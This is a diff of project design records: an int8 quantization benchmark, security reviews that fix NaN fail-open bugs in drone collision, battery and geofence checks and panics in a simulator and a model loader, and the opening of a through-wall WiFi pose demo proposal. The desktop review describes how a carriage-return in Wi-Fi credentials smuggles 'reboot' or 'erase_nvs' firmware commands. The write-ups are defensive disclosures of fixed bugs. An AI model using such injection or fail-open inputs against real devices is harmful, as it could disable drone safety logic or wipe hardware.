fits comfortably in edge flash at fp32. Recommendation: **keep fp32 (or fp16)
|
||||
for the half model on the edge**; do not ship this int8 variant as-is.
|
||||
|
||||
### Observed fake-quant → int8 conversion gap (disclosed, not hidden)
|
||||
|
||||
During QAT the **fake-quant** model's val PCK@20 reached 83.45% (epoch 3), but the
|
||||
**converted int8** model scores 67.48% on test. A ~16 pp drop on `convert_fx` is a
|
||||
real effect — the fbgemm int8 kernels are not bit-identical to the fake-quant
|
||||
simulation (per-tensor activation quant + the axial-attention `einsum`/softmax path
|
||||
quantize worse than the straight-through estimate predicts). This gap is the honest
|
||||
reason QAT did not close the loss, and it is exactly the kind of number that would
|
||||
be invisible if one only reported the fake-quant proxy. We report the **converted
|
||||
int8** number as the deliverable, not the fake-quant proxy.
|
||||
|
||||
## Reproduction
|
||||
|
||||
```bash
|
||||
ssh ruvultra 'cd ~/wiflow-std-bench && source venv/bin/activate && \
|
||||
python ~/quantize_half_int8.py --mode both --qat-epochs 3 2>&1'
|
||||
```
|
||||
|
||||
- Script (committed): `v2/crates/wifi-densepose-train/scripts/quantize_half_int8.py`
|
||||
(scp'd to `~/quantize_half_int8.py` on ruvultra for the run).
|
||||
- Inputs (on ruvultra, unmodified): `~/wiflow-std-bench/sweep/half_best.pth`,
|
||||
`~/wiflow-std-bench/preprocessed_csi_data/` (seed-42 file-level 70/15/15 split),
|
||||
upstream `models`/`dataset`/`utils/metrics`/`losses` (DY2434/WiFlow @ 06899d29,
|
||||
Apache-2.0), and `sweep/model_compact.py` (the half-model definition).
|
||||
- Outputs (written, non-destructive): `~/wiflow-std-bench/sweep/int8/` —
|
||||
`half_int8_qat.pth`, `half_int8_ptq_static.pth`, `int8_results.json`,
|
||||
`int8_run.log`. **No existing file under `~/wiflow-std-bench` was modified.**
|
||||
- Run metadata: host `ruvultra`, GPU RTX 5080, torch `2.11.0+cu128`, fbgemm engine,
|
||||
`date_utc 2026-06-15T12:35:06Z`, QAT ≈ 97 s/epoch.
|
||||
|
||||
## What is MEASURED vs CLAIMED
|
||||
|
||||
- **MEASURED:** every PCK/MPJPE/size number in the table; the fp32 baseline (which
|
||||
reproduces the recorded sweep `half` numbers); the PTQ collapse; the QAT partial
|
||||
recovery; the fake-quant→int8 conversion gap; the 3.2× size reduction.
|
||||
- **CLAIMED / not done here:** ONNX/TFLite export; on-real-edge (ESP32/Pi/Hailo)
|
||||
latency or energy (int8 here is measured on x86 fbgemm, the dev box, **not** an
|
||||
edge SoC — the size number transfers, a latency number does **not**); a
|
||||
per-layer mixed-precision search that might keep the attention block in fp32; QAT
|
||||
beyond 3 epochs or with learned-quant-range schedules. Those are the obvious next
|
||||
levers if int8 is revisited; none is asserted as a result.
|
||||
|
||||
## Honest scope / limitations
|
||||
|
||||
- **Single eval split** — one seed-42 file-level test partition; no cross-room /
|
||||
cross-environment generalization split (the GraphPose-Fi frontier from ADR-173 is
|
||||
a separate, harder split and is not what is measured here).
|
||||
- **In-domain only** — these are in-distribution test numbers; they say nothing
|
||||
about the cross-environment robustness gap.
|
||||
- **x86 int8, not edge-SoC int8** — accuracy and size transfer to an edge int8
|
||||
runtime; the runtime/latency does not (different kernels, different SoC). No
|
||||
latency claim is made.
|
||||
- **QAT lightly tuned** — 3 epochs, single LR, default fbgemm qconfig. A longer /
|
||||
better-tuned QAT might narrow the −29 pp, but on the evidence here int8 does not
|
||||
reach fp32 at PCK@20, and that is the reportable result today.
|
||||
|
||||
## Consequences
|
||||
|
||||
### Positive
|
||||
- The "one untested edge lever" (QAT-int8 on the half model) is now MEASURED. The
|
||||
edge int8 question for the half model is answered with reproducible numbers: at
|
||||
the strict PCK@20 target it loses, and we can say so with a committed script.
|
||||
- Establishes a reusable, metric-locked quantization+eval harness
|
||||
(`quantize_half_int8.py`) for any future int8 attempt on these compact variants.
|
||||
|
||||
### Negative
|
||||
- None to the codebase (additive script + ADR + CHANGELOG only; no production Rust
|
||||
or signal-pipeline change; Python deterministic proof hash
|
||||
`f8e76f21a0f9852b70b6d9dd5318239f6b20cbcb4cdd995863263cecdc446f7a` unchanged).
|
||||
|
||||
### Neutral
|
||||
- The negative verdict means the half model stays fp32/fp16 on the edge for now.
|
||||
int8 for these compact pose nets is parked pending the next-lever work above.
|
||||
|
||||
## Links
|
||||
- ADR-173 — metric-locked PCK/MPJPE harness (the locked normalization used here)
|
||||
- ADR-152 — WiFi-Pose SOTA 2026 intake / WiFlow-STD benchmark / efficiency sweep
|
||||
(produced `half_best.pth`)
|
||||
- `docs/research/sota-nn-train-benchmark-brief.md` — §edge int8 (the "one untested
|
||||
lever" this ADR measures)
|
||||
- Script: `v2/crates/wifi-densepose-train/scripts/quantize_half_int8.py`
|
||||
@@ -0,0 +1,103 @@
|
||||
# ADR-176: `ruview-swarm` NaN-Fail-Open Safety Review
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| **Status** | Accepted — 4 real safety bugs fixed + pinned; 2 issues documented for follow-up |
|
||||
| **Date** | 2026-06-15 |
|
||||
| **Deciders** | ruv |
|
||||
| **Codename** | **SWARM-FAILCLOSED** |
|
||||
| **Reviews** | ADR-148 (`ruview-swarm` drone swarm control plane) |
|
||||
| **Milestone** | #9 (ungated-crate security sweep) — crate 1 of 4 |
|
||||
|
||||
## Context
|
||||
|
||||
`ruview-swarm` (ADR-148) is the drone swarm control plane — hierarchical-mesh
|
||||
topology, Raft consensus, MARL, CSI sensing payload, MAVLink/PX4 command
|
||||
dispatch. It is the highest-stakes of the four never-reviewed v2 crates: a defect
|
||||
here can produce an **unsafe physical drone command**. It had no prior security
|
||||
ADR.
|
||||
|
||||
### Trust-boundary map
|
||||
Untrusted input enters via `SwarmOrchestrator::receive_peer_state` /
|
||||
`receive_peer_detection`, which accept full `DroneState` / `CsiDetection` serde
|
||||
structs with **f64/f32 fields and no finite-check**, and via
|
||||
`SwarmConfig`/`FhssConfig`/`Geofence` deserialization. The MAVLink wire formats in
|
||||
`mavlink_messages.rs` are **integer-encoded** (i32 mm / u8) and provably cannot
|
||||
carry NaN — so the NaN class is reachable through the **serde struct path, not the
|
||||
MAVLink decode path**. Commands flow out to a `FlightController` (PX4/ArduPilot).
|
||||
|
||||
The unifying bug class found: **IEEE-754 NaN/Inf silently defeating a safety
|
||||
comparison** (`NaN < threshold` evaluates to `false`), causing safety logic to
|
||||
**fail OPEN**. This is distinct from — but rhymes with — the NaN-state-poisoning
|
||||
class found earlier in calibration/vitals/geo (there, NaN latched into persistent
|
||||
state; here, NaN slips through a one-shot guard). Both are "non-finite input
|
||||
defeats logic," and the fix discipline is the same: **reject non-finite at the
|
||||
trust boundary, fail CLOSED.**
|
||||
|
||||
## Decision
|
||||
|
||||
Fix the four reachable fail-open bugs by making each safety predicate
|
||||
non-finite-aware and fail-closed, each pinned by a fails-on-old test. Document
|
||||
two further genuine issues that need larger, riskier changes rather than churning
|
||||
them in a security pass.
|
||||
|
||||
### Findings fixed (all MEASURED fails-on-old)
|
||||
|
||||
| # | Severity | File:line | Issue | Fix | Pin (old behavior) |
|
||||
|---|----------|-----------|-------|-----|--------------------|
|
||||
| F1a | **HIGH** | `failsafe/mod.rs:51` | `nearest_neighbor_dist < collision_dist_m` fails open on a NaN peer position → **collision avoidance silently disabled** | `!is_finite() ||` → `EmergencyDiverge` | `test_nan_neighbor_distance_fails_closed_to_diverge` (old → `Nominal`) |
|
||||
| F1b | **HIGH** | `failsafe/mod.rs:75` | NaN `battery_pct` bypasses every battery check → drone stays Nominal on unknown battery | `!is_finite() ||` → `ReturnToHome` | `test_nan_battery_fails_closed_to_rth` (old → `Nominal`) |
|
||||
| F2 | **MEDIUM** | `security/geofence.rs:33` | NaN `z` altitude skips the altitude-breach check and point-in-polygon returns `Safe` → silent geofence bypass | leading non-finite coord → `HardBreach` | `test_nan_altitude_fails_closed` (old → `Safe`) |
|
||||
| F3 | **MEDIUM/DoS** | `security/antijamming.rs:65,71,102` | empty deserialized `channels_mhz` → `% 0` **panic** in `next_hop`/`current_channel_mhz`/`evasive_hop`/`tick`, crashing the radio task | `len == 0` early-return (`0.0` sentinel) | `test_empty_channels_does_not_panic` (old → panic `divisor of zero`) |
|
||||
| F4 | **LOW** | `sensing/multiview.rs:70` | NaN `victim_position` passes the `is_some()` filter and propagates into the fused "confirmed victim" location dispatched to the swarm | require finite confidence + position (drop) | `test_nan_victim_position_dropped_from_fusion` (old → non-finite fused position) |
|
||||
|
||||
### Dimensions confirmed clean (with evidence)
|
||||
- **MAVLink decode panic-safety** — `SwarmNodeState::decode(&[u8;20])` `try_into().unwrap()`s are over fixed const ranges of a fixed-size array → provably infallible; no arbitrary-length `&[u8]` decode path exists.
|
||||
- **UWB/GPS anti-spoofing NaN-safe** — `(gps_dist - uwb_dist).abs() <= tol` already fails CLOSED on a NaN range (counts as inconsistent → spoof rejected); covered by `test_spoofed_gps_invalid`.
|
||||
- **Bounded grid / no allocate-from-length-field** — `ProbabilityGrid` bounds-checks `cx/cy`; `pos_to_cell` uses saturating `as u32` (no UB).
|
||||
- **Mesh `nearest_k` NaN-safe sort** — `partial_cmp(..).unwrap_or(Equal)` cannot panic on NaN.
|
||||
- **No hardcoded secrets** — `MavlinkSigner` key is constructor-injected `[u8;32]`; grep-confirmed nothing embedded.
|
||||
|
||||
### Documented, not fixed (genuine — deferred to avoid churn/regression risk)
|
||||
|
||||
1. **Raft `AppendEntries` lacks the Log-Matching consistency check**
|
||||
(`topology/raft.rs:187`). A follower appends a leader's entries when
|
||||
`term >= current_term` **without validating `prev_log_index`/`prev_log_term`**,
|
||||
so a malformed/byzantine leader can corrupt a follower's log — a genuine
|
||||
consensus-safety gap. A correct fix reworks the log-append plus the
|
||||
caller-side vote-tally contract (the existing `handle_message` delegates
|
||||
tallying to the caller) — a larger change with test-rewrite risk, so it is
|
||||
recorded here rather than rushed in a security pass.
|
||||
2. **`MavlinkSigner::verify` uses a non-constant-time tag `==` and has no
|
||||
replay/timestamp-window rejection** (`security/mavlink_signing.rs:64`). The
|
||||
module doc already flags the replay limitation as a demo/test simplification.
|
||||
Hardening (constant-time compare + monotonic timestamp window) is a focused
|
||||
follow-up.
|
||||
|
||||
These two are the recommended scope of the next `ruview-swarm` hardening pass.
|
||||
|
||||
## Validation
|
||||
|
||||
- `cargo test -p ruview-swarm --no-default-features` → **117 → 123** passed, 0 failed (+6 pins).
|
||||
- All 6 new tests MEASURED fails-on-old (2× `Nominal`, `Safe`, panic `divisor of zero`, non-finite fused position); pass on the fix.
|
||||
- `cargo test --workspace --no-default-features` → **exit 0**, 0 failed.
|
||||
- `python archive/v1/data/proof/verify.py` → **VERDICT: PASS**, hash
|
||||
`f8e76f21…46f7a` unchanged (ruview-swarm off the signal proof path).
|
||||
|
||||
## Consequences
|
||||
|
||||
### Positive
|
||||
- Four reachable fail-open paths in a *physical-safety* control plane (collision
|
||||
avoidance, battery RTH, geofence, anti-jamming radio task) now fail CLOSED on
|
||||
hostile/degenerate input, each regression-pinned.
|
||||
- Extends the "non-finite input defeats logic" defense from the state-poisoning
|
||||
variant (calibration/vitals/geo) to the fail-open-comparison variant.
|
||||
|
||||
### Negative / Neutral
|
||||
- Two genuine issues (Raft log-matching, MAVLink signer) remain open by choice —
|
||||
see Documented-not-fixed; they define the next hardening pass.
|
||||
|
||||
## Links
|
||||
- ADR-148 — `ruview-swarm` drone swarm control system
|
||||
- ADR-172 — core/cli review (where the NaN bug-class root question was settled NO)
|
||||
- ADR-127 — homecore review (sibling NaN/concurrency hardening)
|
||||
@@ -0,0 +1,92 @@
|
||||
# ADR-177: `nvsim` Degenerate-Input Hardening (NV-Diamond Simulator)
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| **Status** | Accepted — 2 real MEDIUM bugs fixed + pinned; determinism preserved |
|
||||
| **Date** | 2026-06-15 |
|
||||
| **Deciders** | ruv |
|
||||
| **Codename** | **NVSIM-FAILCLOSED** |
|
||||
| **Reviews** | ADR-089 (`nvsim` NV-diamond magnetometer pipeline simulator) |
|
||||
| **Milestone** | #9 (ungated-crate security sweep) — crate 2 of 4 |
|
||||
|
||||
## Context
|
||||
|
||||
`nvsim` (ADR-089) is a standalone, **WASM-ready** deterministic NV-diamond
|
||||
magnetometer pipeline simulator — a forward-only leaf:
|
||||
`scene → source → propagation → NV ensemble → digitiser → MagFrame + SHA-256
|
||||
witness`. It has no network surface, so the real attack surface is **degenerate
|
||||
physical-parameter input** crossing the external boundary — specifically the
|
||||
WASM `config_json` / `scene_json` entry points.
|
||||
|
||||
Two properties matter for this crate that don't for others: it is billed
|
||||
**deterministic** (a published cross-machine witness must reproduce bit-exactly),
|
||||
and under `panic=abort` WASM any panic **aborts the whole module**. So a
|
||||
config-induced panic is a denial-of-service, and a silent numeric corruption
|
||||
defeats the simulator's entire purpose.
|
||||
|
||||
## Decision
|
||||
|
||||
Fix the two reachable degenerate-input bugs at their funnel points, each pinned
|
||||
by a fails-on-old test, **without perturbing the deterministic happy path** (the
|
||||
guards fire only on non-finite / degenerate input; the published witness is
|
||||
unchanged).
|
||||
|
||||
### Findings fixed (both MEASURED-reproduced)
|
||||
|
||||
| # | Severity | Location | Issue | Fix |
|
||||
|---|----------|----------|-------|-----|
|
||||
| NVSIM-DT-01 | MEDIUM (DoS) | `pipeline.rs:58,95` | `dt = config.dt_s.unwrap_or(1.0 / f_s_hz)`; an external `f_s_hz == 0.0` → `dt = +Inf` → `(dt*1e6) as u64` saturates to `u64::MAX` → `(sample as u64) * dt_us` **panics `attempt to multiply with overflow`** at `sample ≥ 2` (debug/WASM-abort; garbage `t_us` in release). MEASURED: panic at `pipeline.rs:95:30`. | Sanitise `dt` (non-finite/non-positive → 1 µs fallback), cap the `u64` cast at `u64::MAX`, `saturating_mul` the timestamp — no config can overflow it. |
|
||||
| NVSIM-NAN-01 | MEDIUM (silent corruption) | funnel `digitiser.rs::adc_quantise` (root: near-field clamp bypass in `source.rs`) | A non-finite scene param (NaN/Inf dipole position, Inf moment, NaN loop radius) **bypasses the near-field clamp** (`NaN < R_MIN_M == false` → the `1/r³` path runs → NaN field), and at the ADC `NaN as i32 == 0` (Rust saturating cast) emits a frame `b_pt=[0,0,0]` with **`ADC_SATURATED` CLEAR** — indistinguishable from a legitimate zero-field reading. MEASURED: `b=[NaN,NaN,NaN] sat=false` → `b_pt=[0,0,0] flags=0b0000`. | `adc_quantise`: any non-finite input → code `0` **with the saturation flag raised**; the pipeline's existing `adc_sat` OR-reduction propagates `ADC_SATURATED` onto the frame, making the corruption visible downstream. |
|
||||
|
||||
This is the same **NaN-fail-open / NaN-poisoning** family seen across
|
||||
calibration/vitals/geo and ruview-swarm — non-finite input defeating a guard —
|
||||
but bounded here to a single frame (no cross-timestep accumulator).
|
||||
|
||||
### Dimensions confirmed clean (with evidence)
|
||||
|
||||
1. **Determinism integrity — clean.** One RNG only: `ChaCha20Rng::seed_from_u64(seed)`,
|
||||
fully caller-seeded (grep: one `seed_from_u64`, **zero** `thread_rng`/`getrandom`/
|
||||
`SystemTime`/`Instant`/`HashMap`); `Cargo.toml` pins `rand`/`rand_chacha`
|
||||
`default-features=false` (no OS entropy). Box–Muller draws
|
||||
`gen_range(f64::EPSILON..=1.0)` (avoids `ln(0)=-Inf` by construction). Frame
|
||||
bytes fixed LE; source summation order fixed by `Vec` order. **The published
|
||||
cross-machine witness `cc8de9b0…93b4` (`proof_witness_publishes_a_known_value`)
|
||||
passes UNCHANGED after both fixes** — the happy path is byte-identical; guards
|
||||
touch only degenerate inputs. *Attested caveat (not a finding): libm
|
||||
`cos`/`ln`/`sqrt` could differ x86↔wasm; the witness is documented as
|
||||
x86_64-captured.*
|
||||
2. **Panic-free deserialisation — clean.** `MagFrame::from_bytes` validates
|
||||
len/magic/version, then per-field `buf[a..b].try_into().expect(...)` are over
|
||||
fixed sub-ranges of an already-length-checked 60-byte buffer (provably
|
||||
infallible). No `unsafe`, no `panic!`/`unreachable!` in production; every other
|
||||
`unwrap`/`expect` is `#[cfg(test)]`.
|
||||
3. **Div-by-zero / numerical landmines — clean.** `dipole_field`/`current_loop_field`
|
||||
clamp `r_norm < R_MIN_M` before `1/r³`,`1/r²` (finite inputs); `shot_noise_floor`
|
||||
guards `denom <= 0`; `vec3_normalise` guards `n < 1e-20`. The only hole was the
|
||||
NaN *bypass* of the clamp — closed at the ADC funnel (NVSIM-NAN-01).
|
||||
|
||||
## Validation
|
||||
|
||||
- `cargo test -p nvsim --no-default-features` → **50 → 53** passed, 0 failed (+3 pins:
|
||||
`degenerate_zero_sample_rate_does_not_panic`,
|
||||
`non_finite_scene_input_flags_frame_instead_of_silently_zeroing`,
|
||||
`adc_quantise_flags_non_finite_as_saturated`).
|
||||
- `cargo test --workspace --no-default-features` → **exit 0**, 0 failed.
|
||||
- `python archive/v1/data/proof/verify.py` → **VERDICT: PASS**, hash
|
||||
`f8e76f21…46f7a` unchanged (nvsim off the signal proof path).
|
||||
- nvsim's own cross-machine witness `cc8de9b0…93b4` reproduces unchanged.
|
||||
|
||||
## Consequences
|
||||
|
||||
### Positive
|
||||
- A config-induced WASM-abort DoS and a silent NaN→fake-zero-field corruption are
|
||||
closed at their funnel points, each regression-pinned, with the deterministic
|
||||
witness proven intact.
|
||||
|
||||
### Negative / Neutral
|
||||
- None. Guards affect only degenerate inputs; happy-path output is byte-identical.
|
||||
|
||||
## Links
|
||||
- ADR-089 — `nvsim` NV-diamond magnetometer simulator
|
||||
- ADR-176 — `ruview-swarm` (sibling NaN-fail-open review)
|
||||
- ADR-172 — core/cli (where the NaN-bug-class root was settled NO)
|
||||
@@ -0,0 +1,87 @@
|
||||
# ADR-178: `wifi-densepose-desktop` IPC Injection Fix + Capability Least-Privilege
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| **Status** | Accepted — 2 real MODERATE bugs fixed + pinned (MEASURED on Windows) |
|
||||
| **Date** | 2026-06-15 |
|
||||
| **Deciders** | ruv |
|
||||
| **Codename** | **DESK-LOCKDOWN** |
|
||||
| **Reviews** | `wifi-densepose-desktop` (Tauri v2 desktop app) |
|
||||
| **Milestone** | #9 (ungated-crate security sweep) — crate 3 of 4 |
|
||||
|
||||
## Context
|
||||
|
||||
`wifi-densepose-desktop` is the Tauri v2 desktop app (ESP32 discovery, firmware
|
||||
flashing, OTA, provisioning, server control). The real attack surface is the
|
||||
**Tauri IPC boundary** — `#[tauri::command]` handlers that take arguments from the
|
||||
webview/JS — and the **capability/allowlist scope**. The crate **builds and tests
|
||||
on Windows** (Tauri 2.10.3, webview2 path, no GTK), so both findings are MEASURED,
|
||||
not source-analysis-only.
|
||||
|
||||
## Decision
|
||||
|
||||
Fix the two real findings; attest the rest of the surface clean with evidence.
|
||||
|
||||
### Findings fixed (both MEASURED)
|
||||
|
||||
| # | Severity | Location | Issue | Fix |
|
||||
|---|----------|----------|-------|-----|
|
||||
| WDP-DESK-01 | MODERATE | `src/commands/discovery.rs:438` (`configure_esp32_wifi`) | Webview-supplied `ssid`/`password` are concatenated into newline-terminated serial commands (`wifi_config {} {}\r\n`, `set ssid {}\r\n`) with **no validation** → a `\r\n` in either field **injects an arbitrary follow-up firmware command** (`reboot`, `erase_nvs`) across the IPC trust boundary. | `validate_wifi_credentials()` — WPA2 length bounds (SSID 1–32, password 8–63) **+ reject all control chars** (`char::is_control()`), called fail-closed before any serial write. |
|
||||
| WDP-DESK-02 | MODERATE | `capabilities/default.json:7-8` | `shell:allow-execute` + `shell:allow-open` granted to the webview but **unused** (Rust spawns via `std::process::Command`; the UI uses only `dialog.open`). A webview compromise (a UI-dependency XSS) → arbitrary **unscoped host command execution**. | Removed both `shell:` permissions (kept `core:default` + the two in-use `dialog:` perms); regenerated `gen/schemas/capabilities.json` now asserts `["core:default","dialog:allow-open","dialog:allow-save"]`. |
|
||||
|
||||
Both are MODERATE (not HIGH): each requires a webview compromise or a malicious
|
||||
local caller to weaponize. The unifying lesson is **least privilege at the IPC
|
||||
boundary** — validate every webview-supplied argument that reaches a serial/FS/
|
||||
process sink, and grant only the capabilities actually exercised.
|
||||
|
||||
### Tauri-command + capability audit (every handler)
|
||||
|
||||
All 30+ command handlers were mapped. Only `configure_esp32_wifi` lacked input
|
||||
validation on a string that reached a command sink (WDP-DESK-01). Every
|
||||
subprocess uses `Command::new(prog).args([...])` (argv vector — no shell-string
|
||||
interpolation), so `port`/`source`/`chip`/`baud` cannot inject a second command
|
||||
even unvalidated. `tauri.conf.json` ships **no** `fs`/`http` plugin and **no**
|
||||
`"all":true`/`"$HOME/**"` scope; after WDP-DESK-02 the allowlist is minimal.
|
||||
|
||||
### Dimensions confirmed clean (with evidence)
|
||||
|
||||
1. **Directory traversal / arbitrary file** — path args (`firmware_path`/`wasm_path`)
|
||||
are blobs the local user selects via the native `dialog.open` picker; settings
|
||||
I/O is a fixed filename under `app_data_dir`. No attacker-named path sink.
|
||||
2. **Shell-string injection** — every subprocess is an argv vector; grep found no
|
||||
shell-string interpolation anywhere.
|
||||
3. **SSRF-to-secret** — `node_ip`-built URLs target the local ESP32 mesh and return
|
||||
only device status JSON; no credential returned to the webview.
|
||||
4. **Panic-on-input** — handlers use `.map_err(|e| e.to_string())?`; the one
|
||||
`expect` is guarded by an `is_none()` early-return; provision/discovery
|
||||
deserializers bounds-check every slice index (NVS size capped ≤ 4096).
|
||||
5. **Hardcoded secrets** — `ota_psk` is a per-call `Option<String>`, never embedded;
|
||||
grep for embedded keys/tokens over `src/` is empty.
|
||||
6. **Shell plugin genuinely unused** — `tauri_plugin_shell` is `init()`-ed but its
|
||||
`Command`/`open` API is never invoked from Rust or the TS UI (which imports only
|
||||
`@tauri-apps/plugin-dialog`) — confirming WDP-DESK-02 is safe to remove.
|
||||
|
||||
## Validation
|
||||
|
||||
- `cargo check -p wifi-densepose-desktop --no-default-features` → `Finished` (Windows, MEASURED).
|
||||
- `cargo test -p wifi-densepose-desktop --no-default-features` → lib **18 → 21** (+3 validator pins:
|
||||
`test_validate_wifi_credentials_rejects_injection` / `_rejects_out_of_range` / `_accepts_valid`),
|
||||
integration 21/21, **0 failed**.
|
||||
- Capability narrowing MEASURED: regenerated `capabilities.json` permission set verified.
|
||||
- `python archive/v1/data/proof/verify.py` → **VERDICT: PASS**, hash `f8e76f21…46f7a`
|
||||
unchanged (desktop off the signal proof path).
|
||||
|
||||
## Consequences
|
||||
|
||||
### Positive
|
||||
- An IPC serial-command-injection path and an over-broad shell capability are
|
||||
closed in the desktop app, each pinned / verified, with the rest of the
|
||||
30-command IPC surface attested clean.
|
||||
|
||||
### Negative / Neutral
|
||||
- None. The removed shell capability was unused; the validator rejects only
|
||||
malformed/hostile credentials.
|
||||
|
||||
## Links
|
||||
- ADR-176 / ADR-177 — sibling Milestone-#9 reviews (ruview-swarm, nvsim)
|
||||
- ADR-172 — core/cli review
|
||||
@@ -0,0 +1,81 @@
|
||||
# ADR-179: `wifi-densepose-occworld-candle` Checkpoint-Load Hardening
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| **Status** | Accepted — 1 HIGH + 2 LOW bugs fixed + pinned (MEASURED on Windows) |
|
||||
| **Date** | 2026-06-15 |
|
||||
| **Deciders** | ruv |
|
||||
| **Codename** | **OCCWORLD-DTYPE** |
|
||||
| **Reviews** | `wifi-densepose-occworld-candle` (Candle occupancy-world model) |
|
||||
| **Milestone** | #9 (ungated-crate security sweep) — crate 4 of 4 — **CLOSES the milestone** |
|
||||
|
||||
## Context
|
||||
|
||||
`wifi-densepose-occworld-candle` is a Candle-based occupancy-world model
|
||||
(VQ-VAE + transformer over occupancy tokens). The real risk surface for an ML
|
||||
crate is degenerate-input / malformed-weights handling: a `#[forbid(unsafe_code)]`
|
||||
crate can still **panic** (a DoS, and under WASM an abort) when a tensor op hits an
|
||||
inconsistent shape. The crate **builds and tests on Windows**, so all findings are
|
||||
MEASURED.
|
||||
|
||||
## Decision
|
||||
|
||||
Fix the three reachable bugs, each pinned by a fails-on-old test; attest the rest
|
||||
clean with evidence.
|
||||
|
||||
### Findings fixed (all MEASURED)
|
||||
|
||||
| # | Severity | Location | Issue | Fix |
|
||||
|---|----------|----------|-------|-----|
|
||||
| 1 | **HIGH** | `model.rs:95` (`Dtype::I32 => Some(DType::I64)`) | **Crash on any int32-tensor checkpoint.** An I32 byte buffer (4 B/elem) is handed to `from_raw_buffer(.., I64, shape, ..)`; candle derives `elem_count = data.len()/8`, **halving** the count while keeping the original shape → a tensor that claims 2× its storage. Reading it **panics** with a slice-OOB (`range end index 6 out of range for slice of length 3`) inside candle-core. A checkpoint with any int32 tensor (index/buffer tensors are common in PyTorch exports) → **DoS on load**. | Map `I32 → DType::I32`, `I16 → DType::I16` (both first-class candle dtypes). Pinned by `int32_tensor_loads_with_consistent_shape_and_values` (panics on old, passes on new). |
|
||||
| 2 | LOW | `inference.rs::predict` | Frame/batch dims weren't validated (only H/W/D were): `f_in > num_frames*2` over-indexes the temporal embedding → a cryptic candle `InvalidIndex` *error* (not a panic — candle bounds-checks); zero frame/batch feeds a zero-element tensor. | Boundary guard rejects zero / over-capacity frame+batch with a clear `ShapeMismatch`. 5 pins. |
|
||||
| 3 | LOW | `vqvae.rs:141` (`z.elem_count() / last`) | **Divide-by-zero panic** in public `VQCodebook::encode` on a rank-0 / empty-last-dim tensor (`last == 0`). | Fail-closed guard returns a clear error. Pinned by `encode_rejects_scalar_without_panicking`. |
|
||||
|
||||
The HIGH finding is the notable one: the crate's own dtype mapping **defeated**
|
||||
the upstream `safetensors::validate()` byte-length guarantee by misdeclaring the
|
||||
dtype — the one place malformed/widened weights could reach a panicking candle op.
|
||||
|
||||
### Dimensions confirmed clean (with evidence)
|
||||
|
||||
- **Panic surface** — grep for `unwrap()/expect()/panic!/unreachable!` across `src/`
|
||||
→ **zero in production paths**; all ops use `?`/`map_err`; the `last().unwrap_or(&0)`
|
||||
is now guarded. `as` casts operate only on config-bounded/internal values.
|
||||
- **NaN-state-poisoning (the named class) — N/A.** The engine is **stateless between
|
||||
`predict` calls** (no persistent world-model buffer to latch into), and input is
|
||||
`u8` class indices (non-finite input structurally impossible). NaN weights flow to
|
||||
`argmax` (deterministic, bounded to a valid class index) — no panic, no persistence.
|
||||
- **Unbounded alloc / shape-data mismatch from malformed weights** — defended upstream
|
||||
by `safetensors::validate()` (overflow-checked `nelements*dtype.size()` vs declared
|
||||
byte range + contiguous-offset + buffer-length checks), rejected before reaching
|
||||
candle. Finding #1 was the one place the crate defeated that guarantee.
|
||||
- **Model/path loading** — `load`/`load_safetensors` check `path.exists()` → typed
|
||||
`CheckpointNotFound`; corrupt bytes → `CheckpointParse` (pinned). No path-traversal
|
||||
surface (caller-supplied path, opened read-only, never joined with untrusted segments).
|
||||
- **Secrets** — grep clean (only `token_h`/`token_w` config fields match `token`).
|
||||
- **Determinism** — the crate's central honesty claim, verified by the pre-existing
|
||||
`tests/predict_honesty.rs` (3 tests, still pass).
|
||||
- `unsafe_code = "forbid"` in the manifest.
|
||||
|
||||
## Validation
|
||||
|
||||
- `cargo test -p wifi-densepose-occworld-candle --no-default-features` → **31/31**
|
||||
(lib 17, checkpoint_loading 4, input_validation 5, predict_honesty 3, doctests 2),
|
||||
0 failed.
|
||||
- `cargo test --workspace --no-default-features` → 0 failed across every crate (a lone
|
||||
`wifi-densepose-desktop --test api_integration` "Access is denied (os error 5)" was a
|
||||
Windows file-lock/AV flake — re-ran isolated 21/21, unrelated).
|
||||
- `python archive/v1/data/proof/verify.py` → **VERDICT: PASS**, hash `f8e76f21…46f7a`
|
||||
unchanged (occworld off the signal proof path).
|
||||
|
||||
## Consequences
|
||||
|
||||
### Positive
|
||||
- A checkpoint-load DoS (the int32 dtype-widening panic) and two degenerate-input
|
||||
panics are closed in the world-model crate, each pinned. **Milestone #9 (all 4
|
||||
ungated crates) is complete.**
|
||||
|
||||
### Negative / Neutral
|
||||
- None. Guards reject only malformed/degenerate inputs.
|
||||
|
||||
## Links
|
||||
- ADR-176 / ADR-177 / ADR-178 — sibling Milestone-#9 reviews (ruview-swarm, nvsim, desktop)
|
||||
@@ -0,0 +1,272 @@
|
||||
# ADR-180: Through-Wall Camera↔CSI Hand-off Demo ("Behind the Wall")
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| **Status** | Proposed |
|
||||
| **Date** | 2026-06-15 |
|
||||
| **Deciders** | ruv |
|
||||
| **Codename** | **BEHIND-THE-WALL** |
|
||||
| **Builds on** | ADR-079 (camera ground-truth training), ADR-031 (sensing-first RF mode), ADR-134 (CSI→CIR multipath), ADR-029/030 (RuvSense multistatic + persistent field), ADR-024 (AETHER re-ID), ADR-151 (per-room calibration), ADR-173 (metric-locked PCK), ADR-095/096 (rvcsi nexmon) |
|
||||
|
||||
## Context
|
||||
|
||||
### The demo we want
|
||||
A single self-contained **HTML page** that tells one honest, visceral story:
|
||||
|
||||
1. You stand in front of the laptop. The camera tracks your **full skeletal pose**;
|
||||
the WiFi-CSI model, trained on *your* movements moments earlier, infers the **same
|
||||
skeleton** in parallel — a side-by-side "camera vs RF agree" view.
|
||||
2. You **walk out the door and behind the wall**. The camera **goes blind** (you are
|
||||
occluded — it honestly shows "no person in frame"). The CSI model **keeps inferring
|
||||
your skeleton** from the WiFi signal alone — the 3D figure keeps walking, behind the
|
||||
wall, smoothly. A badge flips from `CAMERA` to `RF-INFERRED (through-wall)`.
|
||||
3. You **walk back into view**. The camera **re-acquires**; the badge flips back to
|
||||
`CAMERA`, and the RF-inferred and camera skeletons reconverge.
|
||||
|
||||
This is the "WiFi sees through walls" demo — and the user explicitly wants the **inferred
|
||||
skeleton through the wall**, not just a blob. The project's "prove everything / no AI-slop"
|
||||
